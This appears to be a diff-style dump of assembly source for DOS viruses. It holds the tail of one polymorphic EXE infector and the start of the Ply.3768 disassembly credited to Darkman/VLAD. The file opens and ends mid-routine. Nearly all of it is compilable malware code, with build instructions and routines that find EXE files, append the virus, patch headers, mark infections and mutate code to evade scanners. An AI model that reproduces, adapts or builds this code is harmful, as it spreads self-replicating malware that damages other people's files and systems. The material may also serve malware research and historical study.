jne create_jmp ; Not equal? Jump to create_jmp
|
||||
nop
|
||||
|
||||
mov al,ah ; AL = second byte of three-bytes ...
|
||||
nop
|
||||
create_jmp:
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
|
||||
call get_poly_off
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
stosb ; Store JMP imm16
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
neg ax ; Negate AX
|
||||
nop
|
||||
sub ax,02h ; Subtract two from 16-bit immediate
|
||||
stosw ; Store 16-bit immediate
|
||||
nop
|
||||
nop
|
||||
|
||||
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],al ; Create a JMP imm16 to the opcode
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
sub ax,06h ; Subtract size of six-bytes block
|
||||
mov [bx+01h],ax ; Store 16-bit immediate
|
||||
|
||||
mov di,si ; SI = offset of current three-byt...
|
||||
nop
|
||||
mov ax,03h ; AX = size of opcode CALL imm16
|
||||
sub di,ax ; Subtract size of opcode CALL imm...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
jmp_exit:
|
||||
jmp test_loop
|
||||
nop
|
||||
delete_jmp:
|
||||
cmp al,05h ; Delete previously created JMP im...
|
||||
nop
|
||||
jne test_loop ; Not equal? Jump to test_loop
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
||||
nop
|
||||
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = 16-bit immediate
|
||||
add ax,03h ; Add size of opcode CALL imm16
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
add si,ax ; Add 16-bit immediate
|
||||
nop
|
||||
lea bx,poly_blocks ; BX = offset of poly_blocks
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
cmp si,bx ; 16-bit immediate within polymorp...
|
||||
nop
|
||||
jb jmp_exit_ ; Below? Jump to jmp_exit_
|
||||
nop
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
mov [si-03h],ax ; Store NOP; NOP
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si-01h],al ; Store 8-bit random number
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si],al ; Store 8-bit random number
|
||||
nop
|
||||
jmp_exit_:
|
||||
jmp test_loop
|
||||
nop
|
||||
test_loop:
|
||||
pop si ; Load SI from stack
|
||||
nop
|
||||
nop
|
||||
pop cx ; Load CX from stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,03h ; AX = size of block
|
||||
add si,ax ; SI = offset of next three-byte b...
|
||||
nop
|
||||
|
||||
dec cx ; Decrease CX
|
||||
nop
|
||||
nop
|
||||
jz poly_exit ; Zero? Jump to poly_exit
|
||||
nop
|
||||
|
||||
jmp poly_loop
|
||||
poly_exit:
|
||||
jmp prepare_exit
|
||||
nop
|
||||
|
||||
get_poly_off proc near ; Get random offset of polymorphic...
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov ah,al ; AH = " " "
|
||||
nop
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov di,ax ; DI = 16-bit random number
|
||||
nop
|
||||
mov ax,(poly_end-poly_begin)/03h
|
||||
get_rnd_num:
|
||||
sub di,ax ; Subtract number of polymorphic b...
|
||||
nop
|
||||
cmp di,ax ; Too large a 16-bit random number?
|
||||
nop
|
||||
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = 16-bit random number within...
|
||||
nop
|
||||
|
||||
add di,ax ; Add number of polymorphic blocks
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
|
||||
lea ax,poly_blocks ; AX = offset of poly_blocks
|
||||
add di,ax ; Add offset of poly_blocks to ran...
|
||||
nop
|
||||
add di,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
cmp [di],ax ; Offset already in use?
|
||||
nop
|
||||
jne get_poly_off ; Not equal? Jump to get_poly_off
|
||||
nop
|
||||
|
||||
ret ; Return!
|
||||
nop
|
||||
nop
|
||||
endp
|
||||
prepare_exit:
|
||||
lea si,file_header ; SI = offset of file_header
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
lea di,instruct_ptr ; SI = offset of instruct_ptr
|
||||
add di,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
mov ax,[si+14h] ; AX = instruction pointer
|
||||
stosw ; Store instruction pointer
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+16h] ; AX = code segment
|
||||
stosw ; Store code segment
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+0eh] ; AX = stack segment
|
||||
stosw ; Store stack segment
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+10h] ; AX = stack pointer
|
||||
stosw ; Store stack pointer
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ah,1ah ; Set disk transfer area address
|
||||
nop
|
||||
lea dx,dta ; DX = offset of dta
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
mov di,dx ; DI = offset of dta
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,3524h ; Get interrupt vector 24h
|
||||
int 21h
|
||||
nop
|
||||
push bx ; Save BX at stack
|
||||
nop
|
||||
nop
|
||||
mov ax,es ; ES = segment of interrupt 24h
|
||||
nop
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov es,ax ; ES = " "
|
||||
nop
|
||||
|
||||
mov ax,2524h ; Get interrupt vector 24h
|
||||
lea dx,int24_virus ; DX = offset of int24_virus
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
mov ax,(4e00h+2020h) ; Find first matching file
|
||||
sub ax,2020h
|
||||
mov cx,0000000000000111b
|
||||
lea dx,file_specifi ; DX = offset of file_specifi
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
mov bx,dx ; BX = offset of file_specifi
|
||||
nop
|
||||
mov al,'E'
|
||||
nop
|
||||
mov [bx+02h],al ; Correct the file specification
|
||||
find_next:
|
||||
int 21h
|
||||
nop
|
||||
jnc open_file ; No error? Jump to open_file
|
||||
nop
|
||||
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
mov ds,ax ; DS = segment of interrupt 24h
|
||||
nop
|
||||
pop dx ; Load DX from stack
|
||||
nop
|
||||
nop
|
||||
mov ax,2524h ; Set interrupt vector 24h
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov ds,ax ; DS = " "
|
||||
nop
|
||||
|
||||
mov ah,62h ; Get current PSP address
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
mov ds,bx ; DS = segment of PSP for current ...
|
||||
nop
|
||||
|
||||
mov ah,1ah ; Set disk transfer area address
|
||||
nop
|
||||
mov dx,80h ; DX = offset of default disk tran...
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov ds,ax ; DS = " "
|
||||
nop
|
||||
|
||||
jmp virus_exit
|
||||
open_file:
|
||||
mov al,'V'
|
||||
nop
|
||||
mov [bx+02h],al ; Correct the file specification
|
||||
|
||||
mov ax,3d00h ; Open file (read)
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
xchg bx,ax ; BX = file handle
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ah,3fh ; Read from file
|
||||
nop
|
||||
mov dx,si ; DX = offset of file_header
|
||||
nop
|
||||
mov cx,1ah ; Read twenty-six bytes
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,('ZM'+2020h) ; EXE signature
|
||||
sub ax,2020h
|
||||
cmp [si],ax ; Found EXE signature?
|
||||
nop
|
||||
je examine_file ; Equal? Jump to examine_file
|
||||
nop
|
||||
|
||||
xchg ah,al ; Exchange EXE signature
|
||||
nop
|
||||
cmp [si],ax ; Found EXE signature?
|
||||
nop
|
||||
je examine_file ; Equal? Jump to examine_file
|
||||
nop
|
||||
jmp_find_nxt:
|
||||
mov ax,(4f00h+2020h) ; Find next matching file
|
||||
sub ax,2020h
|
||||
|
||||
jmp find_next
|
||||
nop
|
||||
examine_file:
|
||||
mov ax,2020h
|
||||
cmp [si+12h],ax ; Already infected?
|
||||
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
|
||||
nop
|
||||
|
||||
mov ax,(4301h+2020h) ; Set file attributes
|
||||
sub ax,2020h
|
||||
xor cx,cx ; CX = new file attributes
|
||||
nop
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(3d02h+2020h) ; Open file (read/write)
|
||||
sub ax,2020h
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
xchg bx,ax ; BX = file handle
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,4202h ; Set current file position (EOF)
|
||||
xor cx,cx ; Zero CX
|
||||
nop
|
||||
xor dx,dx ; Zero DX
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,(code_end-code_begin)
|
||||
lea dx,code_begin ; DX = offset of code_begin
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,[si+08h] ; AX = header size in paragraphs
|
||||
mov cl,04h ; Multiply by paragraphs
|
||||
nop
|
||||
shl ax,cl ; AX = header size
|
||||
nop
|
||||
push bx ; Save BX at stack
|
||||
nop
|
||||
nop
|
||||
xchg ax,bx ; BX = header size
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,[di+1ah] ; AX = low-order word of filesize
|
||||
mov dx,[di+1ch] ; DX = high-order word of filesize
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
push dx ; Save DX at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
sub ax,bx ; Subtract header size from filesize
|
||||
nop
|
||||
sbb dx,00h ; Convert to 32-bit
|
||||
mov cx,10h
|
||||
div cx ; Divide by paragraphs
|
||||
nop
|
||||
mov [si+14h],dx ; Store instruction pointer
|
||||
mov [si+16h],ax ; Store code segment
|
||||
|
||||
lea bx,delta_offset ; BX = offset of delta_offset
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],dx ; Store delta offset
|
||||
nop
|
||||
|
||||
inc ax ; Increase AX
|
||||
nop
|
||||
nop
|
||||
mov [si+0eh],ax ; Store stack segment
|
||||
|
||||
mov ax,(code_end-code_begin+100h)
|
||||
add dx,ax ; DX = stack pointer
|
||||
nop
|
||||
mov ax,1111111111111110b
|
||||
and dx,ax ; DX = " "
|
||||
nop
|
||||
mov [si+10h],dx ; Store stack pointer
|
||||
|
||||
mov ax,2020h ; AX = infection mark
|
||||
mov [si+12h],ax ; Store infection mark
|
||||
|
||||
pop dx ; Load DX from stack
|
||||
nop
|
||||
nop
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
add ax,(code_end-code_begin)
|
||||
adc dx,00h ; Convert to 32-bit
|
||||
|
||||
mov cl,09h
|
||||
nop
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
shr ax,cl ; Multiply by pages
|
||||
nop
|
||||
ror dx,cl ; " " "
|
||||
nop
|
||||
stc ; Set carry flag
|
||||
nop
|
||||
nop
|
||||
adc dx,ax ; DX = total number of 512-bytes p...
|
||||
nop
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
and ah,00000001b
|
||||
mov [si+04h],dx ; Store totalt number of 512-bytes...
|
||||
mov [si+02h],ax ; Number of bytes in last 512-byte...
|
||||
pop bx ; Load BX from stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,4201h ; Set current file position (CFP)
|
||||
mov cx,-01h
|
||||
mov dx,-(code_end-delta_offset)
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,02h ; Write two bytes
|
||||
lea dx,delta_offset ; DX = offset of delta_offset
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,4200h ; Set current file position (SOF)
|
||||
xor cx,cx ; Zero CX
|
||||
nop
|
||||
xor dx,dx ; Zero DX
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,1ah ; Write twenty-six bytes
|
||||
mov dx,si ; DX = offset of file_header
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(5701h-2020h) ; Set file's date and time
|
||||
add ax,2020h
|
||||
mov cx,[di+16h] ; CX = file time
|
||||
mov dx,[di+18h] ; DX = file date
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4301h+2020h) ; Set file attributes
|
||||
sub ax,2020h
|
||||
mov ch,00h ; Zero CH
|
||||
nop
|
||||
mov cl,[di+15h] ; CL = file attribute
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,4fh ; Find next matching file
|
||||
nop
|
||||
|
||||
jmp find_next
|
||||
|
||||
int24_virus proc near ; Interrupt 24h of Ply.3759
|
||||
mov al,03h ; Fail system call in progress
|
||||
nop
|
||||
|
||||
jmp int24_exit
|
||||
nop
|
||||
endp
|
||||
virus_exit:
|
||||
mov ah,62h ; Get current PSP address
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
mov es,bx ; ES = segment of PSP for current ...
|
||||
nop
|
||||
|
||||
mov cx,bx ; CX = " " " " " "
|
||||
nop
|
||||
add cx,10h ; CX = segment of beginning of code
|
||||
|
||||
lea si,instruct_ptr ; SI = offset of instruct_ptr
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
add [si+02h],cx ; Add segment of beginning of code...
|
||||
add cx,[si+04h] ; Add original stack segment to se...
|
||||
|
||||
cli ; Clear interrupt-enable flag
|
||||
nop
|
||||
nop
|
||||
xor ax,ax ; Zero AX
|
||||
nop
|
||||
poly_end:
|
||||
mov sp,[si+06h] ; SP = stack pointer
|
||||
mov ss,cx ; SS = stack segment
|
||||
sti ; Set interrupt-enable flag
|
||||
|
||||
push ax ; Save AX at stack
|
||||
|
||||
mov ds,bx ; DS = segment of PSP for current ...
|
||||
|
||||
db 0eah ; JMP imm32 (opcode 0eah)
|
||||
instruct_ptr dw ? ; Instruction pointer
|
||||
code_seg dw ? ; Code segment
|
||||
|
||||
stack_seg dw ? ; Stack segment
|
||||
stack_ptr dw ? ; Stack pointer
|
||||
int24_exit:
|
||||
iret ; Interrupt return!
|
||||
|
||||
db 00h,00h
|
||||
file_specifi db '*.VXE',00h ; File specification
|
||||
file_header dw 0ah dup(?),00h,0fff0h,?
|
||||
db 00h
|
||||
poly_buffer db 03h dup(?) ; Polymorphic buffer
|
||||
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
|
||||
code_end:
|
||||
dta:
|
||||
db 15h dup(?) ; Used by DOS for find next-process
|
||||
file_attr db ? ; File attribute
|
||||
file_time dw ? ; File time
|
||||
file_date dw ? ; File date
|
||||
filesize dd ? ; Filesize
|
||||
filename db 0dh dup(?) ; Filename
|
||||
data_end:
|
||||
|
||||
end code_begin
|
|
@ -0,0 +1,926 @@
|
|||
comment *
|
||||
Ply.3768
|
||||
Disassembly by
|
||||
Darkman/VLAD
|
||||
|
||||
Ply.3768 is a 3768 bytes parasitic direct action EXE virus. Infects every
|
||||
file in current directory, when executed, by appending the virus to the
|
||||
infected file. Ply.3768 has an error handler, anti-heuristic techniques and
|
||||
is polymorphic in file using its internal polymorphic engine.
|
||||
|
||||
To compile Ply.3768 with Turbo Assembler v 4.0 type:
|
||||
TASM /m PLY_3768.ASM
|
||||
TLINK /t /x PLY_3768.OBJ
|
||||
*
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h ; Origin of Ply.3768
|
||||
|
||||
code_begin:
|
||||
delta_offset equ $+01h ; Delta offset
|
||||
mov bp,100h ; BP = delta offset
|
||||
poly_begin:
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov ds,ax ; DS = " "
|
||||
nop
|
||||
mov es,ax ; ES = " "
|
||||
nop
|
||||
|
||||
mov ax,100h ; AX = offset of beginning of code
|
||||
sub bp,ax ; Subtract offset of beginning of ...
|
||||
nop
|
||||
|
||||
sti ; Set interrupt-enable flag
|
||||
nop
|
||||
nop
|
||||
cld ; Clear direction flag
|
||||
nop
|
||||
nop
|
||||
|
||||
lea si,poly_begin ; SI = offset of poly_begin
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
mov cx,(poly_end-poly_begin)/03h
|
||||
poly_loop:
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
and al,00000111b ; AL = random number between zero ...
|
||||
nop
|
||||
|
||||
push cx ; Save CX at stack
|
||||
nop
|
||||
nop
|
||||
push si ; Save SI at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
cmp al,00h ; Prepend a NOP to the opcode?
|
||||
nop
|
||||
jne test_append ; Not equal? Jump to test_append
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
je dont_poly ; Equal? Jump to dont_poly
|
||||
nop
|
||||
|
||||
mov al,[si+02h] ; AL = third byte of three-byte block
|
||||
cmp al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
jne dont_poly ; Not equal? Jump to dont_poly
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx+01h],ax ; Store first word of three-bytes ...
|
||||
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je dec_imm8 ; Equal? Jump to dec_imm8
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
jne prepend_nop ; Not equal? Jump to prepend_nop
|
||||
nop
|
||||
dec_imm8:
|
||||
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
|
||||
prepend_nop:
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov [bx],al ; Prepend a NOP to the opcode
|
||||
nop
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
dont_poly:
|
||||
jmp test_loop
|
||||
test_append:
|
||||
cmp al,01h ; Append a NOP to the opcode?
|
||||
nop
|
||||
jne test_create ; Not equal? Jump to test_create
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne dont_poly_ ; Not equal? Jump to dont_poly_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = second word of three-bytes ...
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],ax ; Store second word of three-bytes...
|
||||
nop
|
||||
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je dec_imm8_ ; Equal? Jump to dec_imm8_
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
jne append_nop ; Not equal? Jump to append_nop
|
||||
nop
|
||||
dec_imm8_:
|
||||
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
|
||||
append_nop:
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov [bx+02h],al ; Append a NOP to the opcode
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
dont_poly_:
|
||||
jmp test_loop
|
||||
test_create:
|
||||
cmp al,02h ; Create a CALL imm16 to the opcode?
|
||||
nop
|
||||
jne delete_call ; Not equal? Jump to delete_call
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne create_call ; Not equal? Jump to create_call
|
||||
nop
|
||||
|
||||
mov al,ah ; AL = second byte of three-bytes ...
|
||||
nop
|
||||
create_call:
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0c3h ; RET (opcode 0c3h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,50h ; PUSH reg16/POP reg16?
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
|
||||
call get_poly_off
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,0c3h ; RET (opcode 0c3h)
|
||||
nop
|
||||
stosb ; Store RET
|
||||
nop
|
||||
nop
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
stosb ; Store 8-bit random number
|
||||
nop
|
||||
nop
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
stosb ; Store 8-bit random number
|
||||
nop
|
||||
nop
|
||||
|
||||
mov al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],al ; Create a CALL imm16 to the opcode
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
sub ax,06h ; Subtract size of six-bytes block
|
||||
mov [bx+01h],ax ; Store 16-bit immediate
|
||||
|
||||
mov di,si ; SI = offset of current three-byt...
|
||||
nop
|
||||
mov ax,03h ; AX = size of opcode CALL imm16
|
||||
sub di,ax ; Subtract size of opcode CALL imm...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
call_exit:
|
||||
jmp test_loop
|
||||
delete_call:
|
||||
cmp al,03h ; Delete previously created CALL i...
|
||||
nop
|
||||
jne test_create_ ; Not equal? Jump to test_create_
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
|
||||
nop
|
||||
jne call_exit_ ; Not equal? Jump to call_exit_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = 16-bit immediate
|
||||
add ax,03h ; Add size of opcode CALL imm16
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
add si,ax ; Add 16-bit immediate
|
||||
nop
|
||||
lea bx,poly_blocks ; BX = offset of poly_blocks
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
cmp si,bx ; 16-bit immediate within polymorp...
|
||||
nop
|
||||
jb call_exit_ ; Below? Jump to call_exit_
|
||||
nop
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
mov [si-03h],ax ; Store NOP; NOP
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si-01h],al ; Store 8-bit random number
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si],al ; Store 8-bit random number
|
||||
nop
|
||||
call_exit_:
|
||||
jmp test_loop
|
||||
test_create_:
|
||||
cmp al,04h ; Create a JMP imm16 to the opcode?
|
||||
nop
|
||||
jne delete_jmp ; Not equal? Jump to delete_jmp
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne create_jmp ; Not equal? Jump to create_jmp
|
||||
nop
|
||||
|
||||
mov al,ah ; AL = second byte of three-bytes ...
|
||||
nop
|
||||
create_jmp:
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
|
||||
call get_poly_off
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
stosb ; Store JMP imm16
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
neg ax ; Negate AX
|
||||
nop
|
||||
sub ax,02h ; Subtract two from 16-bit immediate
|
||||
stosw ; Store 16-bit immediate
|
||||
nop
|
||||
nop
|
||||
|
||||
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],al ; Create a JMP imm16 to the opcode
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
